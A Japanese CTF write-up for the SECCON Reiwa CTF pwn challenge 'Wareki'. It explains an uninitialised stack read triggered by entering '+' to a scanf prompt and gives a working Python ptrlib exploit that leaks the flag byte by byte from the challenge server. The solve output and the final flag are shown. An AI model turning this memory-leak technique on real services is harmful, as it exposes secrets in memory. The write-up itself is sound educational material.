CTFするぞ

CTF以外のことも書くよ

和暦 - SECCON 令和CTF Writeup

Pwnが1問だけあったのでやりました。

[Pwn 268pts] 和暦

説明文:西暦を和暦に変換してくれるよ
サーバ:nc wareki-o-reiwa.seccon.jp 36294

64ビットバイナリがもらえます。

$ checksec wareki
[*] 'wareki'
    Arch:   64 bits (little endian)
    NX:     NX enabled
    SSP:    SSP enabled (Canary found)
    RELRO:  Full RELRO
    PIE:    PIE enabled

機能としては(1)和暦変換と(2)フラグ読み込みがあります。 和暦変換では西暦を入力すると大正から令和までの間であれば「平成 XX 年」みたいに表示してくれます。 フラグ読み込みではオフセットを指定すると、そのオフセットから0x5Aバイト読み込んでくれます。 読み込み先はローカル変数なのでスタック上に乗っかりますが、出力するような処理はありません。

西暦などもすべてscanf("%lu", &year)のように数字として読んでいるので、特にオーバーフローもありません。 ということで、和暦を出力している部分でメモリリークを起こせるはずです。 西暦を和暦に変換する処理は単純で、大正から令和までの最初の年がテーブルに記録されており、yeartable[i]を超えればyear - table[i] + 1を出力します。 さて、ここでyearscanfで読み込まれているので、+-だけを入力するとスタック上の値は破壊されないまま次の処理へ進みます。

したがって、次のようにメモリリークが発生します。

$ ./wareki 
西暦 -> 和暦 変換サービス
1: 和暦変換
2: フラグ読み込み
0: 終了
>> 1

西暦 >> +
変換しますか?(Yes:1, No:Others) >> 1
変換結果:令和 140178803216576 年

フラグ読み込みでfreadしたフラグはスタックに残ったままなので、これを利用してリークできます。 オフセットを変えていけば少しずつフラグを取得できます。 flag.txtの最初の方は日本語テキスト(即位の文章?)だったので、オフセットを大きくしていくと次のコードでフラグが取得できました。

from ptrlib import *

log.level = []

flag = b""
for offset in range(6380, 10000, 5):
    sock = Socket("wareki-o-reiwa.seccon.jp", 36294)
    #sock = Process("./wareki")
    # Read
    sock.recvuntil(">> ")
    sock.sendline("2")
    sock.recvuntil(">> ")
    sock.sendline(str(offset))
    # Leak
    sock.recvuntil(">> ")
    sock.sendline("1")
    sock.recvuntil(">> ")
    sock.sendline("+")
    sock.recvuntil(">> ")
    sock.sendline("1")
    sock.recvuntil(" ")
    try:
        leak = int(sock.recvuntil(" ")) + 2019
        flag += int.to_bytes(leak, length=8, byteorder='little')[1:6]
        print(flag)
    except:
        pass

print(flag)

おしまい。

$ python solve.py 
b'\n\n==='
b'\n\n=====\n\nF'
b'\n\n=====\n\nFLAG :'
b'\n\n=====\n\nFLAG : SECC'
b'\n\n=====\n\nFLAG : SECCON{WA'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_0n_f0'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_0n_f0r3v3r'
b'\n\n=====\n\nFLAG : SECCON{WAREKI_g035_0n_f0r3v3r}\n\x00\x00\x00'